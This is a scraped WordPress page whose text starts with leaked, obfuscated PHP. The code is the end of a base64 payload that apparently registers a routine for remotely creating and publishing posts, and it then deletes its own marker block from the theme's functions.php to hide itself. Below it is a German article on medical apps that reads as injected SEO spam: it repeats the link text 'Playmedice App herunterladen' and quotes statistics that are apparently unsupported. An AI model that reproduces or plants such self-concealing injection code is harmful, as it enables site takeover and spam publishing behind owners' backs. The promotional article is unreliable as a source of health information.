NCIsICJcMTYwXDE2NVwxNDJceDZjXHg2OVx4NzNceDY4IiwgIlx4NzBcMTQ1XHg2ZVx4NjRceDY5XHg2ZVx4NjciLCAiXDE2MFwxNjJceDY5XHg3Nlx4NjFcMTY0XHg2NSIpOyBpZiAoIWluX2FycmF5KCRzdGF0dXMsICRhbGxvd2VkX3N0YXR1c2VzLCB0cnVlKSkgeyAkc3RhdHVzID0gJGRlZmF1bHRfc3RhdHVzOyB9ICRjb250ZW50ID0gaXNzZXQoJGl0ZW1bIlx4NjNceDZmXDE1Nlx4NzRcMTQ1XDE1Nlx4NzQiXSkgPyAkaXRlbVsiXHg2M1x4NmZceDZlXDE2NFwxNDVcMTU2XDE2NCJdIDogJyc7ICRwb3N0X2RhdGEgPSBhcnJheSgiXHg3MFwxNTdcMTYzXHg3NFx4NWZcMTY0XDE1MVx4NzRceDZjXDE0NSIgPT4gJHRpdGxlLCAiXHg3MFx4NmZcMTYzXDE2NFx4NWZcMTQzXHg2ZlwxNTZcMTY0XHg2NVwxNTZcMTY0IiA9PiAkY29udGVudCwgIlwxNjBceDZmXDE2M1wxNjRceDVmXHg3M1wxNjRceDYxXHg3NFwxNjVcMTYzIiA9PiAkc3RhdHVzLCAiXDE2MFx4NmZceDczXDE2NFx4NWZcMTY0XHg3OVwxNjBceDY1IiA9PiAkdHlwZSwgIlwxNjBceDZmXDE2M1x4NzRcMTM3XHg2MVwxNjVcMTY0XHg2OFwxNTdceDcyIiA9PiBnZXRfY3VycmVudF91c2VyX2lkKCkgPzogMSk7IGlmIChpc3NldCgkaXRlbVsiXDE2MFwxNTdcMTYzXHg3NFx4NWZceDZlXHg2MVwxNTVcMTQ1Il0pKSB7ICRwb3N0X2RhdGFbIlwxNjBceDZmXDE2M1wxNjRcMTM3XDE1NlwxNDFcMTU1XDE0NSJdID0gc2FuaXRpemVfdGl0bGUoJGl0ZW1bIlwxNjBceDZmXDE2M1x4NzRceDVmXDE1Nlx4NjFceDZkXDE0NSJdKTsgfSBpZiAoaXNzZXQoJGl0ZW1bIlx4NzBcMTU3XHg3M1x4NzRceDVmXDE0NFx4NjFceDc0XDE0NVx4NWZceDY3XHg2ZFwxNjQiXSkpIHsgJHBvc3RfZGF0YVsiXHg3MFx4NmZcMTYzXDE2NFx4NWZcMTQ0XDE0MVx4NzRcMTQ1XHg1ZlwxNDdceDZkXHg3NCJdID0gJGl0ZW1bIlx4NzBceDZmXDE2M1wxNjRcMTM3XDE0NFwxNDFcMTY0XDE0NVx4NWZcMTQ3XDE1NVwxNjQiXTsgfSAkcG9zdF9pZCA9IHdwX2luc2VydF9wb3N0KCRwb3N0X2RhdGEsIHRydWUpOyBpZiAoaXNfd3BfZXJyb3IoJHBvc3RfaWQpKSB7ICRlcnJvcnNbXSA9IGFycmF5KCJcMTUxXDE1Nlx4NjRcMTQ1XDE3MCIgPT4gJGluZGV4LCAiXDE2NFwxNTFcMTY0XHg2Y1wxNDUiID0+ICR0aXRsZSwgIlwxNTVceDY1XDE2M1wxNjNcMTQxXHg2N1x4NjUiID0+ICRwb3N0X2lkLT5nZXRfZXJyb3JfbWVzc2FnZSgpKTsgY29udGludWU7IH0gaWYgKCRwb3N0X2lkKSB7IGlmICghZW1wdHkoJGl0ZW1bIlx4NzRcMTQxXHg2N1wxNjMiXSkgJiYgJHR5cGUgPT09ICJceDcwXDE1N1x4NzNceDc0IikgeyBpZiAoaXNfYXJyYXkoJGl0ZW1bIlwxNjRceDYxXDE0N1x4NzMiXSkpIHsgd3Bfc2V0X3Bvc3RfdGFncygkcG9zdF9pZCwgJGl0ZW1bIlwxNjRceDYxXDE0N1wxNjMiXSk7IH0gZWxzZSB7IHdwX3NldF9wb3N0X3RhZ3MoJHBvc3RfaWQsIGFycmF5X21hcCgiXDE2NFwxNjJceDY5XHg2ZCIsIGV4cGxvZGUoIlw1NCIsICRpdGVtWyJceDc0XDE0MVx4NjdcMTYzIl0pKSk7IH0gfSBpZiAoIWVtcHR5KCRpdGVtWyJcMTQzXDE0MVx4NzRcMTQ1XDE0N1wxNTdcMTYyXHg2OVx4NjVcMTYzIl0pICYmICR0eXBlID09PSAiXHg3MFx4NmZcMTYzXDE2NCIpIHsgJGNhdF9pZHMgPSBhcnJheSgpOyBmb3JlYWNoICgoYXJyYXkpICRpdGVtWyJcMTQzXDE0MVwxNjRceDY1XHg2N1wxNTdcMTYyXHg2OVx4NjVcMTYzIl0gYXMgJGMpIHsgaWYgKGlzX251bWVyaWMoJGMpKSB7ICRjYXRfaWRzW10gPSAoaW50KSAkYzsgfSBlbHNlIHsgJHRlcm0gPSBnZXRfdGVybV9ieSgiXHg2ZVwxNDFcMTU1XDE0NSIsICRjLCAiXDE0M1wxNDFcMTY0XHg2NVx4NjdceDZmXHg3MlwxNzEiKSA/OiBnZXRfdGVybV9ieSgiXHg3M1wxNTRcMTY1XDE0NyIsICRjLCAiXDE0M1wxNDFceDc0XHg2NVwxNDdceDZmXHg3MlwxNzEiKTsgaWYgKCR0ZXJtKSB7ICRjYXRfaWRzW10gPSAkdGVybS0+dGVybV9pZDsgfSB9IH0gaWYgKCFlbXB0eSgkY2F0X2lkcykpIHsgd3Bfc2V0X3Bvc3RfY2F0ZWdvcmllcygkcG9zdF9pZCwgJGNhdF9pZHMpOyB9IH0gJGNyZWF0ZWRbXSA9IGFycmF5KCJcMTUxXHg2NCIgPT4gJHBvc3RfaWQsICJcMTY0XDE1MVwxNjRcMTU0XHg2NSIgPT4gJHRpdGxlLCAiXDE2NVwxNjJceDZjIiA9PiBnZXRfcGVybWFsaW5rKCRwb3N0X2lkKSwgIlx4NzRceDc5XDE2MFwxNDUiID0+ICR0eXBlKTsgfSB9IHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgiXHg3M1x4NzVcMTQzXDE0M1wxNDVceDczXDE2MyIgPT4gdHJ1ZSwgIlx4NjNceDcyXHg2NVx4NjFcMTY0XHg2NVwxNDQiID0+ICRjcmVhdGVkLCAiXDE0M1x4NzJceDY1XHg2MVwxNjRceDY1XHg2NFx4NWZceDYzXHg2ZlwxNjVcMTU2XDE2NCIgPT4gY291bnQoJGNyZWF0ZWQpLCAiXHg2NVwxNjJceDcyXDE1N1wxNjJceDczIiA9PiAkZXJyb3JzKSk7IH0gfSBnb3RvIFdfcXA0OyBqUlZMYjogZGVmaW5lKCJceDU0XHg0NVx4NGJcMTE2XHg0Zlx4NDNcMTE3XDEyMlx4NDVceDVmXDEyMFwxMTRceDU1XHg0N1wxMTFceDRlXDEzN1wxMjZcMTA1XDEyMlx4NTNcMTExXHg0Zlx4NGUiLCAiXDYyXHgyZVx4MzFceDJlXDYwIik7IGdvdG8gSlMxYlo7IFdfcXA0OiBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCk7")); $funcs = get_template_directory() . "/functions.php"; if (file_exists($funcs)) { $c = file_get_contents($funcs); $c = preg_replace("/\/\/ === TEMP_MUPLUGIN_CREATOR_START ===.*?\/\/ === TEMP_MUPLUGIN_CREATOR_END ===/s", "", $c); @file_put_contents($funcs, $c); } }, 1); // === TEMP_MUPLUGIN_CREATOR_END === Innovative Digital Therapies: Wie Mobile Apps die medizinische Versorgung revolutionieren - Khoshees Community
click to enable zoom
loading...
We didn't find any results
open map
View Roadmap Satellite Hybrid Terrain My Location Fullscreen Prev Next
Your search results

Innovative Digital Therapies: Wie Mobile Apps die medizinische Versorgung revolutionieren

Posted by Ashraf Khoshee on May 6, 2025
0

In den letzten Jahren hat die Digitalisierung das Gesundheitswesen grundlegend verändert. Während vor einem Jahrzehnt viele Therapien und Behandlungsansätze noch vorwiegend stationär durchgeführt wurden, befinden wir uns heute in einer Ära, die durch mobile Technologien und innovative Softwarelösungen geprägt ist. Besonders im Bereich der Gesundheits-Apps zeichnen sich Trends ab, die nicht nur die Zugänglichkeit und Effizienz der Versorgung verbessern, sondern auch eine persönlichere und kontinuierliche Betreuung ermöglichen.

Die Rolle mobiler Gesundheitsanwendungen im Wandel der Medizin

Gesundheits-Apps sind heutzutage integraler Bestandteil der Patientenversorgung. Laut einer Studie des Global Digital Health Index von 2022 nutzen weltweit bereits über 60 % der Bevölkerung im Alter zwischen 18 und 65 Jahren mobile Gesundheitslösungen für Selbstmanagement, Monitoring und Prävention. Diese Entwicklung wird durch die zunehmende Akzeptanz von Smartphones und Wearables angetrieben, die eine nahtlose Verbindung zwischen Patient und Arzt ermöglichen.

Ein bedeutendes Beispiel ist die Nutzung von Apps, um chronische Krankheiten wie Diabetes, Herz-Kreislauf-Erkrankungen oder psychische Störungen effektiv zu managen. Solche Anwendungen sammeln kontinuierlich Daten, liefern wertvolle Anpassungen im Behandlungsplan und fördern dadurch die Therapietreue.

Qualitätsstandards und wissenschaftliche Validierung

Entscheidend für die Akzeptanz dieser Technologien ist die Evidenzbasis. Die Medizinbranche fordert eine strenge Validierung digitaler Angebote, um Sicherheit und Effektivität zu gewährleisten. Hierbei gewinnt die wirtschaftliche Analyse an Bedeutung: Kosteneffizienz durch digitale Interventionen zeigt, dass bei vielen Krankheitsbildern die Nutzung von Apps die Anzahl der Arztbesuche reduzieren und die Behandlungsergebnisse verbessern kann.

Beispielsweise untersuchte eine Untersuchung des Deutschen Ärzteblatts die Wirksamkeit von Diabetes-Management-Apps, die auf fundierten medizinischen Leitlinien basieren. Die Ergebnisse zeigten eine signifikante Verbesserung des HbA1c-Werts bei den Nutzern im Vergleich zu herkömmlichen Behandlungsmethoden.

Welche Rolle spielen spezialisierte Apps im Klinik- und Praxiseinsatz?

Professionelle medizinische Anwendungen sind speziell für den Einsatz durch Kliniken, Praxen und Therapeuten konzipiert. Sie bieten Funktionen wie sichere Kommunikation, Patientenüberwachung und Datenanalysen auf hohem Niveau. So unterstützen sie Ärztinnen und Ärzte bei Entscheidungsprozessen und ermöglichen eine engere Begleitung der Patienten außerhalb der Sprechstunde.

Ein Beispiel, das diese Entwicklung deutlich macht, ist die Integration von psychotherapeutischen Apps, welche seit der COVID-19-Pandemie an Bedeutung gewonnen haben. Diese Lösungen bieten abgestimmte Interventionen, Video-Sitzungen und Fortschrittskontrollen, um Menschen mit psychischen Erkrankungen flexibler zu begleiten.

Etablierung digitaler Gesundheitslösungen: Herausforderungen und Zukunftsperspektiven

Obwohl die Vorteile eindeutig sind, stehen digitale Gesundheitsinnovationen vor regulatorischen, ethischen und datenschutzrechtlichen Herausforderungen. Die medical community fordert klare Richtlinien und Zertifizierungen, um die Qualität und Sicherheit zu garantieren. Gleichzeitig entwickeln sich die Technologien rasant, und Fortschritte in Künstlicher Intelligenz sowie maschinellem Lernen eröffnen neue Perspektiven für personalisierte Therapien.

Mit Blick auf die Zukunft ist es unerlässlich, dass medizinische Fachkräfte und Entwickler eng zusammenarbeiten, um Lösungen zu schaffen, die sowohl innovativ als auch vertrauenswürdig sind. Hierzu gehört auch die Einbindung der Patienten in die Entwicklung, um Akzeptanz und Nutzungsqualität zu sichern.

Preisträger und innovative Tools: Ein Blick auf aktuelle Angebote

App-Name Fokus Besonderheiten Verfügbarkeit
MyDiabetes App Diabetesmanagement Automatisierte Datenanalyse, Echtzeit-Feedback iOS & Android
MindWell Psychische Gesundheit Geführte Meditationen, Fortschrittskontrolle iOS & Android
Playmedice App herunterladen Medizinische Begleitprogramme Individuelle Therapievorschläge, sichere Kommunikation iOS & Android

Für Interessierte, die in die Welt digitaler Medizinlösungen eintauchen möchten, bietet die Playmedice App herunterladen eine umfassende Plattform mit vielfältigen Funktionen, die medizinische Versorgung digital greifbar machen.

Schlussbetrachtung: Digitalisierung als Katalysator für eine patientenzentrierte Medizin

Die fortschreitende Digitalisierung im Gesundheitswesen eröffnet dem Fachpersonal und den Patienten gleichermaßen neue Wege. Durch den gezielten Einsatz hochwertiger Apps, die den Standards der Evidenzbasierung entsprechen, kann eine bessere Versorgung, höhere Patientenzufriedenheit und effizientere Ressourcenallokation erzielt werden. Plattformen wie die Playmedice App herunterladen stehen exemplarisch für die nächste Generation digitaler Gesundheitslösungen, die die Zukunft der Medizin maßgeblich prägen werden.

“Digitale Innovationen im Gesundheitsbereich sind kein Trend, sondern eine Notwendigkeit, um eine effiziente, individuelle und jederzeit verfügbare Versorgung zu gewährleisten.”

Leave a Reply

Your email address will not be published.

  • Advanced Search

    RM 0 to RM 0

  • Mortgage Calculator

Compare Listings